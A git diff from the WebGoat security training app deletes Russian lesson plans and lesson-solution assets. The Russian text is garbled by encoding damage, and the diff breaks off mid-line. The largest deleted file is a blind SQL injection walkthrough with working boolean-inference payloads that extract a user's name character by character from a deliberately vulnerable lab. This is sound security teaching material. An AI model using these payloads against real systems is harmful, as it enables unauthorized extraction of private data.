
-
- -

Тема Ð´Ð»Ñ Ð¸Ð·ÑƒÑ‡ÐµÐ½Ð¸Ñ:

-Многие Ñайты автоматичеÑки аутентифицируют Ð¿Ð¾Ð»ÑŒÐ·Ð¾Ð²Ð°Ñ‚ÐµÐ»Ñ ÐµÑли он имеет оÑобые cookies. -Иногда Ñодержимое таких cookies может быть угадано еÑли злоумышленник вычиÑлил алгоритм их генерации. -Ð’ других ÑлучаÑÑ… cookies могут быть перехвачены, украдены через уÑзвимоÑти в приложении (например через XSS) -или ÑиÑтеме пользователÑ. Ðа Ñтом уроке вы ознакомитеÑÑŒ Ñ Ð¸Ñпользованием таких cookies и -попытаетеÑÑŒ обойти ÑиÑтему аутентификации оÑнованную на них. -
-

ОÑновные цели и задачи:

- -Пользователь должен обойти механизм проверки аутентификации. -Войдите под аккаунтом webgoat/webgoat и поÑмотрите что получитÑÑ. -Ð’Ñ‹ также можете попробовать данные aspect/aspect. Как только вы поймёте -как можно аутентифицироватьÑÑ Ð¿Ð¾Ð´ другими именами, попробуйте войти под -логином alice. - \ No newline at end of file diff --git a/src/main/webapp/lesson_plans/ru/WeakSessionID.html b/src/main/webapp/lesson_plans/ru/WeakSessionID.html deleted file mode 100644 index 0711706f6..000000000 --- a/src/main/webapp/lesson_plans/ru/WeakSessionID.html +++ /dev/null @@ -1,12 +0,0 @@ -
-

Ðазвание урока: Похищение ÑеÑÑии

-
-

Тема Ð´Ð»Ñ Ð¸Ð·ÑƒÑ‡ÐµÐ½Ð¸Ñ:

- -Разработчики приложений, Ñоздающие Ñвои механизмы работы Ñ ÑеÑÑиÑми, иногда -забывают о том что идентификаторы ÑеÑÑий должны генерироватьÑÑ Ñлучайным образом -и иметь доÑтаточную длинну. Иначе они могут быть банально подобраны злоумышленником -методом грубой Ñилы (brute force). -

ОÑновные цели:

-Попробуйте подобрать идентификатор рабочей ÑеÑÑии принадлежащей другому пользователю. - \ No newline at end of file diff --git a/src/main/webapp/lesson_plans/ru/WelcomeScreeen.html b/src/main/webapp/lesson_plans/ru/WelcomeScreeen.html deleted file mode 100644 index be93e40e2..000000000 --- a/src/main/webapp/lesson_plans/ru/WelcomeScreeen.html +++ /dev/null @@ -1,16 +0,0 @@ -
-

Lesson Plan Title:Welcome

-
-

Concept / Topic To Teach:

-This lesson presents the basics for understanding the transfer of data between the browser and the web application. -

Standards Addressed:

-

General Goal(s):

-

Specific Objectives:

-

Required Materials:

-

Anticipatory Set (Lead-In):

-

Step-By-Step Procedures:

-

Plan For Independent Practice:

-

Closure (Reflect Anticipatory Set):

-

Assessment Based On Objectives:

-

Extensions (For Gifted Students):

-

Possible Connections To Other Subjects:

\ No newline at end of file diff --git a/src/main/webapp/lesson_plans/ru/WsSAXInjection.html b/src/main/webapp/lesson_plans/ru/WsSAXInjection.html deleted file mode 100644 index cd1dc0bd1..000000000 --- a/src/main/webapp/lesson_plans/ru/WsSAXInjection.html +++ /dev/null @@ -1,15 +0,0 @@ -
-

Ðазвание урока: Работа Ñ SAX-инъекциÑми в веб-ÑервиÑах

-
-

Тема Ð´Ð»Ñ Ð¸Ð·ÑƒÑ‡ÐµÐ½Ð¸Ñ:

- -Веб-ÑервиÑÑ‹ общаютÑÑ Ð¼ÐµÐ¶Ð´Ñƒ Ñобой Ñ Ð¿Ð¾Ð¼Ð¾Ñ‰ÑŒÑŽ SOAP-запроÑов. Эти запроÑÑ‹ отправлÑÑŽÑ‚ÑÑ -на веб-ÑÐµÑ€Ð²Ð¸Ñ Ð¸ вызывают выполнение некоторых функций опиÑанных в WSDL-файлах. -

ОÑновные цели и задачи:

-Ðекоторые веб-интерфейÑÑ‹ могут иÑпользовать веб-ÑервиÑÑ‹ в невидимом Ð´Ð»Ñ Ð¿Ð¾Ð»ÑŒÐ·Ð¾Ð²Ð°Ñ‚ÐµÐ»Ñ Ñ€ÐµÐ¶Ð¸Ð¼Ðµ. -ЕÑли веб-ÑÐµÑ€Ð²Ð¸Ñ Ð½Ð¸ÐºÐ°Ðº не проверÑет целоÑтноÑть входных данных (или проверÑет недоÑтаточно), -пользователь может подделать XML отÑылаемый веб-интерфейÑом и выдать его за наÑтоÑщий. -
-
-Ð’ данном упражнении попытайтеÑÑŒ Ñменить пароль Ð´Ð»Ñ Ð»ÑŽÐ±Ð¾Ð³Ð¾ Ð¿Ð¾Ð»ÑŒÐ·Ð¾Ð²Ð°Ñ‚ÐµÐ»Ñ ÐºÑ€Ð¾Ð¼Ðµ 101. - \ No newline at end of file diff --git a/src/main/webapp/lesson_plans/ru/WsSqlInjection.html b/src/main/webapp/lesson_plans/ru/WsSqlInjection.html deleted file mode 100644 index c59407dd0..000000000 --- a/src/main/webapp/lesson_plans/ru/WsSqlInjection.html +++ /dev/null @@ -1,13 +0,0 @@ -
-

Ðазвание урока: ИÑпользование SQL-инъекций в веб-ÑервиÑах.

-
-

Тема Ð´Ð»Ñ Ð¸Ð·ÑƒÑ‡ÐµÐ½Ð¸Ñ:

- -Веб-ÑервиÑÑ‹ общаютÑÑ Ð¼ÐµÐ¶Ð´Ñƒ Ñобой Ñ Ð¿Ð¾Ð¼Ð¾Ñ‰ÑŒÑŽ SOAP-запроÑов. Эти запроÑÑ‹ отправлÑÑŽÑ‚ÑÑ -на веб-ÑÐµÑ€Ð²Ð¸Ñ Ð¸ вызывают выполнение некоторых функций опиÑанных в WSDL-файлах. -

ОÑновные цели и задачи:

-Изучите внимательно WSDL-файл WebGoat и попробуйте получить -номера кредитных карт других пользователей. Обратите внимание на то, что вы не -будете видеть результат работы Ñервера на Ñкране. Ðо как только вы ÑоÑтавите верный -запроÑ, Ñразу ÑоответÑтвующий пункт меню отметитÑÑ Ð·ÐµÐ»Ñ‘Ð½Ð¾Ð¹ галочкой. - \ No newline at end of file diff --git a/src/main/webapp/lesson_plans/ru/XMLInjection.html b/src/main/webapp/lesson_plans/ru/XMLInjection.html deleted file mode 100644 index 814e18cdc..000000000 --- a/src/main/webapp/lesson_plans/ru/XMLInjection.html +++ /dev/null @@ -1,22 +0,0 @@ -
-

Ðазвание урока: Как выполнÑÑŽÑ‚ÑÑ Ð°Ñ‚Ð°ÐºÐ¸ клаÑÑа 'XML-инъекциÑ'.

-
- -

Тема Ð´Ð»Ñ Ð¸Ð·ÑƒÑ‡ÐµÐ½Ð¸Ñ:

-Ðа данном уроке вы научитеÑÑŒ оÑущеÑтвлÑть атаки клаÑÑа 'XML-инъекциÑ' -
-
-

-Как работает данный вид атак: -

-AJAX-Ð¿Ñ€Ð¸Ð»Ð¾Ð¶ÐµÐ½Ð¸Ñ Ð¸Ñпользуют XML Ð´Ð»Ñ Ð¿ÐµÑ€ÐµÐ´Ð°Ñ‡Ð¸ данных на Ñервер. Ушедший XML может быть легко перехвачен -и изменён злоумышленником. -
-

ОÑновные цели:

- -Ð’Ñ‹ видите ÑпиÑок призов, которые можно получить по программе 'WebGoat-Miles Reward Miles'. -Когда вы введёте ID Ñвоего аккаунта приложение отобразит вам ваш Ð±Ð°Ð»Ð°Ð½Ñ Ð¸ ÑпиÑок призов, которые -вы можете заказать. Цель - заказать призы на которые у Ð²Ð°Ñ Ð½Ðµ хватает очков. -ID вашего аккаунта 836239. - - diff --git a/src/main/webapp/lesson_plans/ru/XPATHInjection.html b/src/main/webapp/lesson_plans/ru/XPATHInjection.html deleted file mode 100644 index 5d6f80ba2..000000000 --- a/src/main/webapp/lesson_plans/ru/XPATHInjection.html +++ /dev/null @@ -1,31 +0,0 @@ -
-

Ðазвание урока: ИÑпользование XPATH-инъекций.

-
- -

Тема Ð´Ð»Ñ Ð¸Ð·ÑƒÑ‡ÐµÐ½Ð¸Ñ:

- Ð¡ÐµÐ¹Ñ‡Ð°Ñ Ð¼Ñ‹ раÑÑмотрим иÑпользование XPath-инъекций -
-
-

-Как работает данный вид атак: -

-По аналогии Ñ SQL-инъекциÑми, XPath-инъекции возникают тогда, когда пользовательÑкие -данные без должной проверки попадают в Ð·Ð°Ð¿Ñ€Ð¾Ñ Ðº XML-данным. ПоÑÑ‹Ð»Ð°Ñ Ð¿Ñ€Ð¸Ð»Ð¾Ð¶ÐµÐ½Ð¸ÑŽ -Ñпецильно Ñформированные запроÑÑ‹ злоумышленник может раÑкрыть внутреннюю Ñтруктуру -XML-базы и получить доÑтуп к той информации, к которой ему обращатьÑÑ Ð½ÐµÐ»ÑŒÐ·Ñ. -Ðапример он может повыÑить Ñвои привилегии еÑли ему удаÑÑ‚ÑÑ -произвеÑти XPath-инъекцию в отношении файла хранÑщего пользовательÑкие аккаунты. - -ЗапроÑÑ‹ к XML оÑущеÑтвлÑÑŽÑ‚ÑÑ Ñ Ð¿Ð¾Ð¼Ð¾Ñ‰ÑŒÑŽ XPath - не Ñложного Ñзыка, позволÑющего -определÑть меÑÑ‚Ð¾Ð½Ð°Ñ…Ð¾Ð¶Ð´ÐµÐ½Ð¸Ñ Ð¸Ð½Ñ„Ð¾Ñ€Ð¼Ð°Ñ†Ð¸Ð¸ в XML-Ñтруктуре. Как и в SQL, в нём вы можете -уÑтанавливать критерии поиÑка. Ð’ ÑлучаÑÑ… когда данные Ð¿Ñ€Ð¸Ð»Ð¾Ð¶ÐµÐ½Ð¸Ñ Ñ…Ñ€Ð°Ð½ÑÑ‚ÑÑ Ð² виде XML-базы, -пользователь Ñ Ð¿Ð¾Ð¼Ð¾Ñ‰ÑŒÑŽ одного или неÑкольких параметров запроÑа может определÑть что из неё будет -извлечено и отображено на Ñайте. Эти параметры должны тщательно проверÑтьÑÑ, чтоб атакующий -не Ñмог изменить Ñтруктуру изначального XPath-запроÑа и извлечь чувÑтвительную информацию. - -
-

ОÑновные цели:

- -Форма ниже позволÑет работникам Ñмотреть их перÑональную информацию Ð²ÐºÐ»ÑŽÑ‡Ð°Ñ Ð´Ð°Ð½Ð½Ñ‹Ðµ -о зарплате. Ваш аккаунт - Mike/test123. Цель - проÑмотреть данные других работников. - diff --git a/src/main/webapp/lesson_solutions/AccessControlMatrix_files/Thumbs.db b/src/main/webapp/lesson_solutions/AccessControlMatrix_files/Thumbs.db deleted file mode 100644 index b269eb3f5..000000000 Binary files a/src/main/webapp/lesson_solutions/AccessControlMatrix_files/Thumbs.db and /dev/null differ diff --git a/src/main/webapp/lesson_solutions/AccessControlMatrix_files/filelist.xml b/src/main/webapp/lesson_solutions/AccessControlMatrix_files/filelist.xml deleted file mode 100644 index d016d8ce4..000000000 --- a/src/main/webapp/lesson_solutions/AccessControlMatrix_files/filelist.xml +++ /dev/null @@ -1,10 +0,0 @@ - - - - - - - - - - \ No newline at end of file diff --git a/src/main/webapp/lesson_solutions/AccessControlMatrix_files/image001.png b/src/main/webapp/lesson_solutions/AccessControlMatrix_files/image001.png deleted file mode 100644 index ebb3f8cb8..000000000 Binary files a/src/main/webapp/lesson_solutions/AccessControlMatrix_files/image001.png and /dev/null differ diff --git a/src/main/webapp/lesson_solutions/AccessControlMatrix_files/image002.jpg b/src/main/webapp/lesson_solutions/AccessControlMatrix_files/image002.jpg deleted file mode 100644 index eca131d99..000000000 Binary files a/src/main/webapp/lesson_solutions/AccessControlMatrix_files/image002.jpg and /dev/null differ diff --git a/src/main/webapp/lesson_solutions/AccessControlMatrix_files/image003.png b/src/main/webapp/lesson_solutions/AccessControlMatrix_files/image003.png deleted file mode 100644 index 5efe24680..000000000 Binary files a/src/main/webapp/lesson_solutions/AccessControlMatrix_files/image003.png and /dev/null differ diff --git a/src/main/webapp/lesson_solutions/AccessControlMatrix_files/image004.jpg b/src/main/webapp/lesson_solutions/AccessControlMatrix_files/image004.jpg deleted file mode 100644 index 64245b784..000000000 Binary files a/src/main/webapp/lesson_solutions/AccessControlMatrix_files/image004.jpg and /dev/null differ diff --git a/src/main/webapp/lesson_solutions/BackDoors_files/colorschememapping.xml b/src/main/webapp/lesson_solutions/BackDoors_files/colorschememapping.xml deleted file mode 100644 index b200daa38..000000000 --- a/src/main/webapp/lesson_solutions/BackDoors_files/colorschememapping.xml +++ /dev/null @@ -1,2 +0,0 @@ - - \ No newline at end of file diff --git a/src/main/webapp/lesson_solutions/BackDoors_files/filelist.xml b/src/main/webapp/lesson_solutions/BackDoors_files/filelist.xml deleted file mode 100644 index 0c8218170..000000000 --- a/src/main/webapp/lesson_solutions/BackDoors_files/filelist.xml +++ /dev/null @@ -1,18 +0,0 @@ - - - - - - - - - - - - - - - - - - \ No newline at end of file diff --git a/src/main/webapp/lesson_solutions/BackDoors_files/image001.png b/src/main/webapp/lesson_solutions/BackDoors_files/image001.png deleted file mode 100644 index 5a4d94ac7..000000000 Binary files a/src/main/webapp/lesson_solutions/BackDoors_files/image001.png and /dev/null differ diff --git a/src/main/webapp/lesson_solutions/BackDoors_files/image003.png b/src/main/webapp/lesson_solutions/BackDoors_files/image003.png deleted file mode 100644 index 8150275d8..000000000 Binary files a/src/main/webapp/lesson_solutions/BackDoors_files/image003.png and /dev/null differ diff --git a/src/main/webapp/lesson_solutions/BackDoors_files/image005.png b/src/main/webapp/lesson_solutions/BackDoors_files/image005.png deleted file mode 100644 index 62ebf88f6..000000000 Binary files a/src/main/webapp/lesson_solutions/BackDoors_files/image005.png and /dev/null differ diff --git a/src/main/webapp/lesson_solutions/BackDoors_files/image007.png b/src/main/webapp/lesson_solutions/BackDoors_files/image007.png deleted file mode 100644 index 9960dbc61..000000000 Binary files a/src/main/webapp/lesson_solutions/BackDoors_files/image007.png and /dev/null differ diff --git a/src/main/webapp/lesson_solutions/BackDoors_files/image009.png b/src/main/webapp/lesson_solutions/BackDoors_files/image009.png deleted file mode 100644 index be39f6ac3..000000000 Binary files a/src/main/webapp/lesson_solutions/BackDoors_files/image009.png and /dev/null differ diff --git a/src/main/webapp/lesson_solutions/BackDoors_files/image011.png b/src/main/webapp/lesson_solutions/BackDoors_files/image011.png deleted file mode 100644 index ef6e16606..000000000 Binary files a/src/main/webapp/lesson_solutions/BackDoors_files/image011.png and /dev/null differ diff --git a/src/main/webapp/lesson_solutions/BackDoors_files/image013.jpg b/src/main/webapp/lesson_solutions/BackDoors_files/image013.jpg deleted file mode 100644 index c25f12992..000000000 Binary files a/src/main/webapp/lesson_solutions/BackDoors_files/image013.jpg and /dev/null differ diff --git a/src/main/webapp/lesson_solutions/BackDoors_files/image014.jpg b/src/main/webapp/lesson_solutions/BackDoors_files/image014.jpg deleted file mode 100644 index 08f893f3d..000000000 Binary files a/src/main/webapp/lesson_solutions/BackDoors_files/image014.jpg and /dev/null differ diff --git a/src/main/webapp/lesson_solutions/BackDoors_files/image015.jpg b/src/main/webapp/lesson_solutions/BackDoors_files/image015.jpg deleted file mode 100644 index 08c662842..000000000 Binary files a/src/main/webapp/lesson_solutions/BackDoors_files/image015.jpg and /dev/null differ diff --git a/src/main/webapp/lesson_solutions/BackDoors_files/image016.jpg b/src/main/webapp/lesson_solutions/BackDoors_files/image016.jpg deleted file mode 100644 index 9299a4a2f..000000000 Binary files a/src/main/webapp/lesson_solutions/BackDoors_files/image016.jpg and /dev/null differ diff --git a/src/main/webapp/lesson_solutions/BackDoors_files/image017.jpg b/src/main/webapp/lesson_solutions/BackDoors_files/image017.jpg deleted file mode 100644 index 49760e726..000000000 Binary files a/src/main/webapp/lesson_solutions/BackDoors_files/image017.jpg and /dev/null differ diff --git a/src/main/webapp/lesson_solutions/BackDoors_files/image018.jpg b/src/main/webapp/lesson_solutions/BackDoors_files/image018.jpg deleted file mode 100644 index 735ea196b..000000000 Binary files a/src/main/webapp/lesson_solutions/BackDoors_files/image018.jpg and /dev/null differ diff --git a/src/main/webapp/lesson_solutions/BackDoors_files/themedata.thmx b/src/main/webapp/lesson_solutions/BackDoors_files/themedata.thmx deleted file mode 100644 index 55426d8ec..000000000 Binary files a/src/main/webapp/lesson_solutions/BackDoors_files/themedata.thmx and /dev/null differ diff --git a/src/main/webapp/lesson_solutions/BasicAuthentication_files/colorschememapping.xml b/src/main/webapp/lesson_solutions/BasicAuthentication_files/colorschememapping.xml deleted file mode 100644 index b200daa38..000000000 --- a/src/main/webapp/lesson_solutions/BasicAuthentication_files/colorschememapping.xml +++ /dev/null @@ -1,2 +0,0 @@ - - \ No newline at end of file diff --git a/src/main/webapp/lesson_solutions/BasicAuthentication_files/filelist.xml b/src/main/webapp/lesson_solutions/BasicAuthentication_files/filelist.xml deleted file mode 100644 index 7f6641efb..000000000 --- a/src/main/webapp/lesson_solutions/BasicAuthentication_files/filelist.xml +++ /dev/null @@ -1,30 +0,0 @@ - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - \ No newline at end of file diff --git a/src/main/webapp/lesson_solutions/BasicAuthentication_files/image001.png b/src/main/webapp/lesson_solutions/BasicAuthentication_files/image001.png deleted file mode 100644 index 58cb8db49..000000000 Binary files a/src/main/webapp/lesson_solutions/BasicAuthentication_files/image001.png and /dev/null differ diff --git a/src/main/webapp/lesson_solutions/BasicAuthentication_files/image003.png b/src/main/webapp/lesson_solutions/BasicAuthentication_files/image003.png deleted file mode 100644 index e7380275b..000000000 Binary files a/src/main/webapp/lesson_solutions/BasicAuthentication_files/image003.png and /dev/null differ diff --git a/src/main/webapp/lesson_solutions/BasicAuthentication_files/image005.png b/src/main/webapp/lesson_solutions/BasicAuthentication_files/image005.png deleted file mode 100644 index 6984b9e74..000000000 Binary files a/src/main/webapp/lesson_solutions/BasicAuthentication_files/image005.png and /dev/null differ diff --git a/src/main/webapp/lesson_solutions/BasicAuthentication_files/image007.png b/src/main/webapp/lesson_solutions/BasicAuthentication_files/image007.png deleted file mode 100644 index bebf90cda..000000000 Binary files a/src/main/webapp/lesson_solutions/BasicAuthentication_files/image007.png and /dev/null differ diff --git a/src/main/webapp/lesson_solutions/BasicAuthentication_files/image009.png b/src/main/webapp/lesson_solutions/BasicAuthentication_files/image009.png deleted file mode 100644 index 917746bad..000000000 Binary files a/src/main/webapp/lesson_solutions/BasicAuthentication_files/image009.png and /dev/null differ diff --git a/src/main/webapp/lesson_solutions/BasicAuthentication_files/image011.png b/src/main/webapp/lesson_solutions/BasicAuthentication_files/image011.png deleted file mode 100644 index 05f16f195..000000000 Binary files a/src/main/webapp/lesson_solutions/BasicAuthentication_files/image011.png and /dev/null differ diff --git a/src/main/webapp/lesson_solutions/BasicAuthentication_files/image013.png b/src/main/webapp/lesson_solutions/BasicAuthentication_files/image013.png deleted file mode 100644 index f66852324..000000000 Binary files a/src/main/webapp/lesson_solutions/BasicAuthentication_files/image013.png and /dev/null differ diff --git a/src/main/webapp/lesson_solutions/BasicAuthentication_files/image015.png b/src/main/webapp/lesson_solutions/BasicAuthentication_files/image015.png deleted file mode 100644 index d167a7f35..000000000 Binary files a/src/main/webapp/lesson_solutions/BasicAuthentication_files/image015.png and /dev/null differ diff --git a/src/main/webapp/lesson_solutions/BasicAuthentication_files/image017.png b/src/main/webapp/lesson_solutions/BasicAuthentication_files/image017.png deleted file mode 100644 index 9139ad257..000000000 Binary files a/src/main/webapp/lesson_solutions/BasicAuthentication_files/image017.png and /dev/null differ diff --git a/src/main/webapp/lesson_solutions/BasicAuthentication_files/image019.png b/src/main/webapp/lesson_solutions/BasicAuthentication_files/image019.png deleted file mode 100644 index f8604adae..000000000 Binary files a/src/main/webapp/lesson_solutions/BasicAuthentication_files/image019.png and /dev/null differ diff --git a/src/main/webapp/lesson_solutions/BasicAuthentication_files/image021.png b/src/main/webapp/lesson_solutions/BasicAuthentication_files/image021.png deleted file mode 100644 index 5788c8d43..000000000 Binary files a/src/main/webapp/lesson_solutions/BasicAuthentication_files/image021.png and /dev/null differ diff --git a/src/main/webapp/lesson_solutions/BasicAuthentication_files/image023.png b/src/main/webapp/lesson_solutions/BasicAuthentication_files/image023.png deleted file mode 100644 index 368d0d456..000000000 Binary files a/src/main/webapp/lesson_solutions/BasicAuthentication_files/image023.png and /dev/null differ diff --git a/src/main/webapp/lesson_solutions/BasicAuthentication_files/image025.jpg b/src/main/webapp/lesson_solutions/BasicAuthentication_files/image025.jpg deleted file mode 100644 index b1aeffb19..000000000 Binary files a/src/main/webapp/lesson_solutions/BasicAuthentication_files/image025.jpg and /dev/null differ diff --git a/src/main/webapp/lesson_solutions/BasicAuthentication_files/image026.jpg b/src/main/webapp/lesson_solutions/BasicAuthentication_files/image026.jpg deleted file mode 100644 index 8addcb872..000000000 Binary files a/src/main/webapp/lesson_solutions/BasicAuthentication_files/image026.jpg and /dev/null differ diff --git a/src/main/webapp/lesson_solutions/BasicAuthentication_files/image027.jpg b/src/main/webapp/lesson_solutions/BasicAuthentication_files/image027.jpg deleted file mode 100644 index 0245a850c..000000000 Binary files a/src/main/webapp/lesson_solutions/BasicAuthentication_files/image027.jpg and /dev/null differ diff --git a/src/main/webapp/lesson_solutions/BasicAuthentication_files/image028.jpg b/src/main/webapp/lesson_solutions/BasicAuthentication_files/image028.jpg deleted file mode 100644 index 9e6b65ff8..000000000 Binary files a/src/main/webapp/lesson_solutions/BasicAuthentication_files/image028.jpg and /dev/null differ diff --git a/src/main/webapp/lesson_solutions/BasicAuthentication_files/image029.jpg b/src/main/webapp/lesson_solutions/BasicAuthentication_files/image029.jpg deleted file mode 100644 index 3586cede5..000000000 Binary files a/src/main/webapp/lesson_solutions/BasicAuthentication_files/image029.jpg and /dev/null differ diff --git a/src/main/webapp/lesson_solutions/BasicAuthentication_files/image030.jpg b/src/main/webapp/lesson_solutions/BasicAuthentication_files/image030.jpg deleted file mode 100644 index cdc430d9b..000000000 Binary files a/src/main/webapp/lesson_solutions/BasicAuthentication_files/image030.jpg and /dev/null differ diff --git a/src/main/webapp/lesson_solutions/BasicAuthentication_files/image031.jpg b/src/main/webapp/lesson_solutions/BasicAuthentication_files/image031.jpg deleted file mode 100644 index e9bb7a278..000000000 Binary files a/src/main/webapp/lesson_solutions/BasicAuthentication_files/image031.jpg and /dev/null differ diff --git a/src/main/webapp/lesson_solutions/BasicAuthentication_files/image032.jpg b/src/main/webapp/lesson_solutions/BasicAuthentication_files/image032.jpg deleted file mode 100644 index b4e1f851a..000000000 Binary files a/src/main/webapp/lesson_solutions/BasicAuthentication_files/image032.jpg and /dev/null differ diff --git a/src/main/webapp/lesson_solutions/BasicAuthentication_files/image033.jpg b/src/main/webapp/lesson_solutions/BasicAuthentication_files/image033.jpg deleted file mode 100644 index 468293b14..000000000 Binary files a/src/main/webapp/lesson_solutions/BasicAuthentication_files/image033.jpg and /dev/null differ diff --git a/src/main/webapp/lesson_solutions/BasicAuthentication_files/image034.jpg b/src/main/webapp/lesson_solutions/BasicAuthentication_files/image034.jpg deleted file mode 100644 index 3a463c317..000000000 Binary files a/src/main/webapp/lesson_solutions/BasicAuthentication_files/image034.jpg and /dev/null differ diff --git a/src/main/webapp/lesson_solutions/BasicAuthentication_files/image035.jpg b/src/main/webapp/lesson_solutions/BasicAuthentication_files/image035.jpg deleted file mode 100644 index 32f9278c2..000000000 Binary files a/src/main/webapp/lesson_solutions/BasicAuthentication_files/image035.jpg and /dev/null differ diff --git a/src/main/webapp/lesson_solutions/BasicAuthentication_files/image036.jpg b/src/main/webapp/lesson_solutions/BasicAuthentication_files/image036.jpg deleted file mode 100644 index 1ab696dcd..000000000 Binary files a/src/main/webapp/lesson_solutions/BasicAuthentication_files/image036.jpg and /dev/null differ diff --git a/src/main/webapp/lesson_solutions/BasicAuthentication_files/themedata.thmx b/src/main/webapp/lesson_solutions/BasicAuthentication_files/themedata.thmx deleted file mode 100644 index 55426d8ec..000000000 Binary files a/src/main/webapp/lesson_solutions/BasicAuthentication_files/themedata.thmx and /dev/null differ diff --git a/src/main/webapp/lesson_solutions/BlindSqlInjection_files/BlindStringSqlInjection.htmlSOLBAK b/src/main/webapp/lesson_solutions/BlindSqlInjection_files/BlindStringSqlInjection.htmlSOLBAK deleted file mode 100644 index 5ad40b6cd..000000000 --- a/src/main/webapp/lesson_solutions/BlindSqlInjection_files/BlindStringSqlInjection.htmlSOLBAK +++ /dev/null @@ -1,904 +0,0 @@ - - - - - - - - - - - - - - - - - - - -
- -

 

- -

Lesson Plan Title: How to Perform Blind SQL Injection

- -

 

- -

Concept / Topic To Teach:

- -

SQL injection -attacks represent a serious threat to any database-driven site. The methods behind -an attack are easy to learn and the damage caused can range from considerable -to complete system compromise. Despite these risks an incredible number of -systems on the internet are susceptible to this form of attack.

- -

 

- -

Not only is -it a threat easily instigated, it is also a threat that, with a little -common-sense and forethought, can be almost totally prevented. This lesson will -show the student several examples of SQL injection.

- -

 

- -

It is always -good practice to sanitize all input data, especially data that will used in OS -command, scripts, and database queries.

- -

 

- -

General Goal(s):

- -

The user -should be able to view all records in the specified table.  The user could add new records or modify -existing records.

- -

 

- -

From the hints J

- -

Compound SQL -statements can be made by joining multiple tests with keywords like AND and OR. -Create a SQL statement that you can use as a true/false test and then select -the first character of the target element and do a start narrowing down the -character using > and <

- -

 

- -

The backend -database is HSQLDB. Keep that in mind if you research SQL functions -on the Internet since different databases use some different functions and -syntax.

- -

This is the -code for the query being built and issued by WebGoat:

- -

 

- -

"SELECT -* FROM user_data WHERE userid = " + accountNumber

- -

The -application is taking your input and inserting it at the end of a pre-formed -SQL command. You will need to make use of the following SQL functions:

- -

 

- -

SELECT - -query for your target data and get a string

- -

 

- -

substr(string, -start, length) - returns a substring of string starting at the start character -and going for length characters

- -

 

- -

ascii(string) -will return the ascii value of the first character in string

- -

 

- -

> and < -- once you have a character's value, compare it to a choosen one

- -

Example: is -the first character of the first_name of userid 15613 less than 'M' (ascii 77)? -

- -

 

- -

101 AND (ascii( -substr((SELECT first_name FROM user_data WHERE userid=15613) , 1 , 1) ) < 77 ); -

- -

 

- -

If you get -back that account number is valid, then yes. If get back that the number -is invalid then answer is no.

- -

Another -example: is the second character of the first_name of userid 15613 greater than -'m' (ascii 109)?

- -

 

- -

101 AND (ascii( -substr((SELECT first_name FROM user_data WHERE userid=15613) , 2 , 1) ) > 109 -);

- -

 

- -

If you get back -that account number is valid, then yes. If get back that the number is invalid -then answer is no.

- -

 

- -

- -

Figure 1 Lesson 16

- -

For the -query: 101 AND (ascii( substr((SELECT first_name FROM user_data WHERE userid=15613) -, 1 , 1) ) < 77 ); you will get a "Account number is valid". If the -character is bigger then the value you get an invalid account error message.

- -

 

- -

- -

Figure 2 Invalid account number

- -

 

- -

You can -change the < to = to make sure that you have the correct value.

- -

This results -in the query 101 AND (ascii( substr((SELECT first_name FROM user_data WHERE -userid=15613) , 1 , 1) ) = 74 );

- -

 

- -

- -

Figure 3 First character

- -

 

- -

So you know -that ascii(74) is capital J. Now do the same for the second and all other -characters.

- -

 

- -

 

- -

 

- -

The query for -the second character: 101 AND (ascii( substr((SELECT first_name FROM user_data WHERE -userid=15613) , 2 , 1) ) = 111 );

- -

Ascii(111) = -o, so you have now Jo.

- -

 

- -

- -

 

- -

For the third -character: 101 AND (ascii( substr((SELECT first_name FROM user_data WHERE -userid=15613) , 3 , 1) ) = 101 ); Ascii(101) = e

- -

For the -fourth character: 101 AND (ascii( substr((SELECT first_name FROM user_data WHERE -userid=15613) , 4 , 1) ) = 115 ); Ascii(115) = s

- -

For the fifth -character: 101 AND (ascii( substr((SELECT first_name FROM user_data WHERE -userid=15613) , 5 , 1) ) = 112); Ascii(112) = p

- -

For the sixth -character: 101 AND (ascii( substr((SELECT first_name FROM user_data WHERE -userid=15613) , 6 , 1) ) = 104); Ascii(104) = h

- -

 

- -

So the name -that you found is Joesph. Enter this in the text field to complete this lesson.

- -

 

- -

- -

Figure 4 Enter the name Joesph

- -

 

- -

- -

Figure 5 Lesson 16 Completed

- -

 

- -

 

- -
-
- - - - -
- Solution by Erwin Geirnaert - ZION SECURITY
- - - - diff --git a/src/main/webapp/lesson_solutions/BlindSqlInjection_files/colorschememapping.xml b/src/main/webapp/lesson_solutions/BlindSqlInjection_files/colorschememapping.xml deleted file mode 100644 index b200daa38..000000000 --- a/src/main/webapp/lesson_solutions/BlindSqlInjection_files/colorschememapping.xml +++ /dev/null @@ -1,2 +0,0 @@ - - \ No newline at end of file diff --git a/src/main/webapp/lesson_solutions/BlindSqlInjection_files/filelist.xml b/src/main/webapp/lesson_solutions/BlindSqlInjection_files/filelist.xml deleted file mode 100644 index 085ceea56..000000000 --- a/src/main/webapp/lesson_solutions/BlindSqlInjection_files/filelist.xml +++ /dev/null @@ -1,18 +0,0 @@ - - - - - - - - - - - - - - - - - - \ No newline at end of file diff --git a/src/main/webapp/lesson_solutions/BlindSqlInjection_files/image001.png b/src/main/webapp/lesson_solutions/BlindSqlInjection_files/image001.png deleted file mode 100644 index 5fef4d85b..000000000 Binary files a/src/main/webapp/lesson_solutions/BlindSqlInjection_files/image001.png and /dev/null differ diff --git a/src/main/webapp/lesson_solutions/BlindSqlInjection_files/image003.png b/src/main/webapp/lesson_solutions/BlindSqlInjection_files/image003.png deleted file mode 100644 index 950942ed9..000000000 Binary files a/src/main/webapp/lesson_solutions/BlindSqlInjection_files/image003.png and /dev/null differ diff --git a/src/main/webapp/lesson_solutions/BlindSqlInjection_files/image005.png b/src/main/webapp/lesson_solutions/BlindSqlInjection_files/image005.png deleted file mode 100644 index 8c3ee5181..000000000 Binary files a/src/main/webapp/lesson_solutions/BlindSqlInjection_files/image005.png and /dev/null differ diff --git a/src/main/webapp/lesson_solutions/BlindSqlInjection_files/image007.png b/src/main/webapp/lesson_solutions/BlindSqlInjection_files/image007.png deleted file mode 100644 index 54ea1bcb2..000000000 Binary files a/src/main/webapp/lesson_solutions/BlindSqlInjection_files/image007.png and /dev/null differ diff --git a/src/main/webapp/lesson_solutions/BlindSqlInjection_files/image009.png b/src/main/webapp/lesson_solutions/BlindSqlInjection_files/image009.png deleted file mode 100644 index 3668266c4..000000000 Binary files a/src/main/webapp/lesson_solutions/BlindSqlInjection_files/image009.png and /dev/null differ diff --git 